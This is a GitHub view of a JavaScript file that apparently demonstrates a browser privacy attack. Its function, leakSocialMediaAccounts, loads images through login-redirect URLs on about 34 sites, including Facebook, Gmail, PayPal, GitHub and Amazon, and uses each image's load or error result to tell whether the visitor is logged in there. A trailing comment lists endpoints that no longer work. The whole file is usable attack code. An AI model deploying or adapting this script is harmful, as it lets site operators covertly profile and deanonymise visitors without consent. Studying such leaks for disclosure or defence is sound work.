-
Notifications
You must be signed in to change notification settings - Fork 84
/
Copy pathdemo.js
193 lines (189 loc) · 7.51 KB
/
demo.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
var leakSocialMediaAccounts = function(callback) {
var platforms = [{
domain: "https://squareup.com",
redirect: "/login?return_to=%2Ffavicon.ico",
name: "Square"
}, {
domain: "https://twitter.com",
redirect: "/login?redirect_after_login=%2f..%2ffavicon.ico",
name: "Twitter"
}, {
domain: "https://www.facebook.com",
redirect: "/login.php?next=https%3A%2F%2Fwww.facebook.com%2Ffavicon.ico%3F_rdr%3Dp",
name: "Facebook"
}, {
domain: "https://accounts.google.com",
redirect: "/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.google.com%2Ffavicon.ico&uilel=3&hl=en&service=mail",
name: "Gmail"
}, {
domain: "https://accounts.google.com",
redirect: "/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Ffavicon.ico&uilel=3&hl=en&service=youtube",
name: "Youtube"
}, {
domain: "https://plus.google.com",
redirect: "/up/accounts/upgrade/?continue=https://plus.google.com/favicon.ico",
name: "Google Plus"
}, {
domain: "https://login.skype.com",
redirect: "/login?message=signin_continue&redirect_uri=https%3A%2F%2Fsecure.skype.com%2Ffavicon.ico",
name: "Skype"
}, {
domain: "https://www.spotify.com",
redirect: "/en/login/?forward_url=https%3A%2F%2Fwww.spotify.com%2Ffavicon.ico",
name: "Spotify"
}, {
domain: "https://www.reddit.com",
redirect: "/login?dest=https%3A%2F%2Fwww.reddit.com%2Ffavicon.ico",
name: "Reddit"
}, {
domain: "https://www.tumblr.com",
redirect: "/login?redirect_to=%2Ffavicon.ico",
name: "Tumblr"
}, {
domain: "https://www.expedia.de",
redirect: "/user/login?ckoflag=0&selc=0&uurl=qscr%3Dreds%26rurl%3D%252Ffavicon.ico",
name: "Expedia"
}, {
domain: "https://www.dropbox.com",
redirect: "/login?cont=https%3A%2F%2Fwww.dropbox.com%2Fstatic%2Fimages%2Fabout%2Fdropbox_logo_glyph_2015.svg",
name: "Dropbox"
}, {
domain: "https://www.amazon.com",
redirect: "/ap/signin/178-4417027-1316064?_encoding=UTF8&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&openid.pape.max_auth_age=10000000&openid.return_to=https%3A%2F%2Fwww.amazon.com%2Ffavicon.ico",
name: "Amazon.com"
}, {
domain: "https://www.pinterest.com",
redirect: "/login/?next=https%3A%2F%2Fwww.pinterest.com%2Ffavicon.ico",
name: "Pinterest"
}, {
domain: "https://de.foursquare.com",
redirect: "/login?continue=%2Ffavicon.ico",
name: "Foursquare"
}, {
domain: "https://eu.battle.net",
redirect: "/login/de/index?ref=http://eu.battle.net/favicon.ico",
name: "Battle.net"
}, {
domain: "https://store.steampowered.com",
redirect: "/login/?redir=favicon.ico",
name: "Steam"
}, {
domain: "https://www.academia.edu",
redirect: "/login?cp=/favicon.ico&cs=www",
name: "Academia.edu"
}, {
domain: "https://accounts.google.com",
redirect: "/ServiceLogin?service=blogger&hl=de&passive=1209600&continue=https://www.blogger.com/favicon.ico",
name: "Blogger"
}, {
domain: "https://github.com",
redirect: "/login?return_to=https%3A%2F%2Fgithub.com%2Ffavicon.ico%3Fid%3D1",
name: "Github"
}, {
domain: "https://medium.com",
redirect: "/m/signin?redirect=https%3A%2F%2Fmedium.com%2Ffavicon.ico&loginType=default",
name: "Medium"
}, {
domain: "https://news.ycombinator.com",
redirect: "/login?goto=y18.gif%23",
name: "Hackernews"
}, {
domain: "https://carbonmade.com",
redirect: "/signin?returnTo=favicon.ico",
name: "Carbonmade"
}, {
domain: "https://courses.edx.org",
redirect: "/login?next=/favicon.ico",
name: "EdX"
}, {
domain: "https://slack.com",
redirect: "/checkcookie?redir=https%3A%2F%2Fslack.com%2Ffavicon.ico%23",
name: "Slack"
}, {
domain: "https://www.khanacademy.org",
redirect: "/login?continue=https%3A//www.khanacademy.org/favicon.ico",
name: "Khan Academy"
}, {
domain: "https://www.paypal.com",
redirect: "/signin?returnUri=https://t.paypal.com/ts?v=1.0.0",
name: "Paypal"
}, {
domain: "https://500px.com",
redirect: "/login?r=%2Ffavicon.ico",
name: "500px"
}, {
domain: "https://www.airbnb.com",
redirect: "/login?redirect_params[action]=favicon.ico&redirect_params[controller]=home",
name: "Airbnb"
}, {
domain: "https://disqus.com",
redirect: "/profile/login/?next=https%3A%2F%2Fdisqus.com%2Ffavicon.ico",
name: "Disqus"
}, {
domain: "https://secure.meetup.com",
redirect: "/login/?returnUri=https%3A%2F%2Fwww.meetup.com%2Fimg%2Fajax_loader_trans.gif",
name: "Meetup"
}, {
domain: "https://bitbucket.org",
redirect: "/account/signin/?next=/favicon.ico",
name: "BitBucket"
}, {
domain: "https://secure.indeed.com",
redirect: "/account/login?continue=%2ffavicon.ico",
name: "Indeed"
}, {
domain: "https://vk.com",
redirect: "/login?u=2&to=ZmF2aWNvbi5pY28-",
name: "VK"
}];
platforms.forEach(function(network) {
var img = document.createElement('img');
img.referrerPolicy = 'no-referrer';
img.src = network.domain + network.redirect;
img.onload = function() {
callback(network, true);
};
img.onerror = function() {
callback(network, false);
};
});
};
// Do not work (anymore)
// {
// url: "https://login.live.com/login.srf?wa=wsignin1.0&wreply=https%3A%2F%2Fprofile.microsoft.com%2FregsysProfilecenter%2FImages%2FLogin.jpg",
// name: "Microsoft"
// }, {
// url: "https://slack.com/signin?redir=%2Ffavicon.ico",
// name: "Slack"
// }, {
// url: "https://tablet.www.linkedin.com/splash?redirect_url=https%3A%2F%2Fwww.linkedin.com%2Ffavicon.ico%3Fgid%3D54384%26trk%3Dfulpro_grplogo",
// name: "Linkedin"
// }, {
// domain: "https://subscribe.washingtonpost.com/loginregistration/index.html#/register/group/default?action=login&destination=https:%2F%2Fwashingtonpost.com%2Ffavicon.ico",
// redirect: "/login/?previous=/favicon.ico",
// name: "Washington Post"
// }, {
// domain: "https://www.instagram.com",
// redirect: "/accounts/login/?next=%2Ffavicon.ico",
// name: "Instagram"
// },{
// domain: "https://www.spiegel.de",
// redirect: "/meinspiegel/login.html?backUrl=%2Ffavicon.ico",
// name: "Spiegel Online"
// },{
// domain: "http://www.youporn.com",
// redirect: "/login/?previous=/favicon.ico",
// name: "YouPorn"
// },{
// domain: "https://stackoverflow.com",
// redirect: "/users/login?ssrc=head&returnurl=http%3a%2f%2fstackoverflow.com%2ffavicon.ico",
// name: "Stack Overflow"
// },{
// domain: "https://www.netflix.com",
// redirect: "/Login?nextpage=%2Ffavicon.ico",
// name: "Netflix"
// },{
// domain: "https://www.flickr.com",
// redirect: "/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com/favicon.ico",
// name: "Flickr"
// }